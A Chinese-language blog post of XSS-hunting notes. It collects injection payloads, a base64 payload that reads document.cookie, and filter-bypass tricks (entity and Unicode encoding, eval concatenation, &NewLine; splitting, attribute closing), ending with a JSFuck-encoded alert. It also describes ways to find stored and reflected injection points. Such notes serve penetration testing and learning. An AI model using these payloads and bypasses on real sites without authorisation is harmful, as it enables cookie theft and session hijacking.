XSS漏洞挖掘笔记

XSS注入点分为在属性中注入和在标签注入,属性中的注入更隐蔽,需要属性业务逻辑和数据流,但也更容易存在问题。

注意跟踪整个功能流程的所有传参,同一个参数可能分两次上传,只改一处会造成遗漏导致xss失败

常用事件:

onerror:比较容易触发,通常与img标签搭配使用。、
onclick:适用范围较广,输入框、图片、按钮,包括框架标签都可以用(点击框架边缘)。
onmouseover:当鼠标指针移至元素之上时运行脚本,使用场景同onclick
javascript:alert(1)javascript伪协议,用于执行js语句,可在url中直接使用。

常用伪协议:

data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==,data格式的URL,直接将要加载的页面写到URL中,不从文件中加载。
获取cookie:
PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+

弹框验证函数:alertconfirmprompt

非常见payload:

<object data="data:text/html;base64, PHNjcmlwdD5hbGVydCgvenp6Lyk8L3NjcmlwdD4=">
<form><button formaction=javascript&colon;alert(/zzz/)>CLICKME
<embed/src=//www.baidu.com>
<BODY ONLOAD=alert('XSS')>

绕过:

1. HTML 实体编码:

在 HTML 中,某些字符是预留的。在 HTML 中不能使用小于号(<)和大于号(>),这是因为浏览器会误认为它们是标签。如果希望正确地显示预留字符,我们必须在 HTML 源代码中使用字符实体(character entities)。
字符实体类似这样:
&entity_name; 或者 &#entity_number;

如需显示小于号,我们必须这样写:&lt;/&#60;(10进制)/&#x3c;(16进制)
使用实体名而不是数字的好处是,名称易于记忆。不过坏处是,浏览器也许并不支持所有实体名称(对实体数字的支持却很好)。

HTML实体编码在标签显示的文本和双引号内可以使用,浏览器会进行等价转换,但是不可用于 HTML 代码的拼接,但可以用作 JS 代码的拼接绕过过滤。
比如:onerror=alert(1)onerror属于 HTML 代码,不能用 HTML 实体编码代替,而alert(1)属于js代码可以用 HTML 实体编码替换。

HTML 编码绕过:可以绕过js关键字过滤
js编码绕过:js支持16进制Unicode编码,涉及到js函数,在双引号内的数据都可以用Unicode编码进行替换绕过,例如:al\u0065rt(1)

拼接字符串绕过:javascript:a='al'+'ert(2)';e=eval;e(a);
换行绕过:通过&NewLine;绕过字符串过滤,例如:java&NewLine;script:xxxx

浏览器解析顺序是先进行 HTML 解析,再进行 js 解析(此时会解析双引号内的unicode编码),所以针对 js 可以先进行Unicode编码再进行html编码进行绕过,比如字母:a-->\u0061--> &#x5c;&#x75;&#x30;&#x30;&#x36;&#x31;(好像实用性不是很大)

2. 闭合:

闭合双引号形成新的属性,闭合尖括号形成新的标签以及在闭合函数达到一个事件中执行多个函数。例如:
<input type="button" onclick="Jalor.security.Program.popup('1" onmouseover="al\u0065rt(111)" ','123','123_dispayname','222')"="">

一个 HTML 事件可以执行多个 JS 函数(以分号间隔):onclick="alert(1);alert(2)"
但是第一个函数执行错误,不会继续执行第二个函数,实战中需要注意保证第一个函数正确执行

某些情况的xss语句需要特定浏览器才能触发,例如:<input disabled onmouseover=alert(1) />,具有disabled属性时,在 chrome 浏览器中无法触发 XSS 语句,而在 firefox 中可以触发

注入点挖掘:

普通方法:见框就插,纯页面测试
进阶方法:

1. 存储型:

在能够控制的输出点进行查询,抓包看返回的数据是否存在xss语句,如果存在,说明后台没有进行xss输出过滤。直接将抓包中的查询的接口在地址栏中访问,可以绕过js过滤xss的场景。

2. 反射型:

遍历所有带参数的请求,看返回包中是否返回了请求的参数,如果有触发方式同上。这样可以找出那些原本不会在页面显示的数据是否存在 XSS,比如返回的 JSON 格式的数据原本不会在页面显示,但是某些情况下拼接接口地址(某些框架特性),就可以在页面中将 JSON 数据当作 HTML 代码进行渲染展示,如果 JSON 数据存在 XSS 同样可以触发。

另一种触发不显示数据 XSS 的方式:可以利用替换方式进行显示。比如说上传文件请求包替换跳转首页的请求包,那上传文件回包就会在首页进行显示了。(这种方式没有实用价值应该完全可以被上面的方式替代,此处仅记录一下)

奇怪的姿势:
javascript:al&NewLine;ert(11)
在iframe标签的src属性中的js被换行截断仍然可以运行,其他事件不能执行

jsfuck、jjencode、 aaencode
以下代码就是alert(1) 的 Jsfuck 编码:

[][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]]+([][[]]+[])[+[[+!+[]]]]+(![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[+!+[]]]]+([][[]]+[])[+[[+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]((![]+[])[+[[+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]+(!![]+[])[+[[+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[+!+[]]]+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+[+!+[]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[+!+[]]]+[[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]])()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值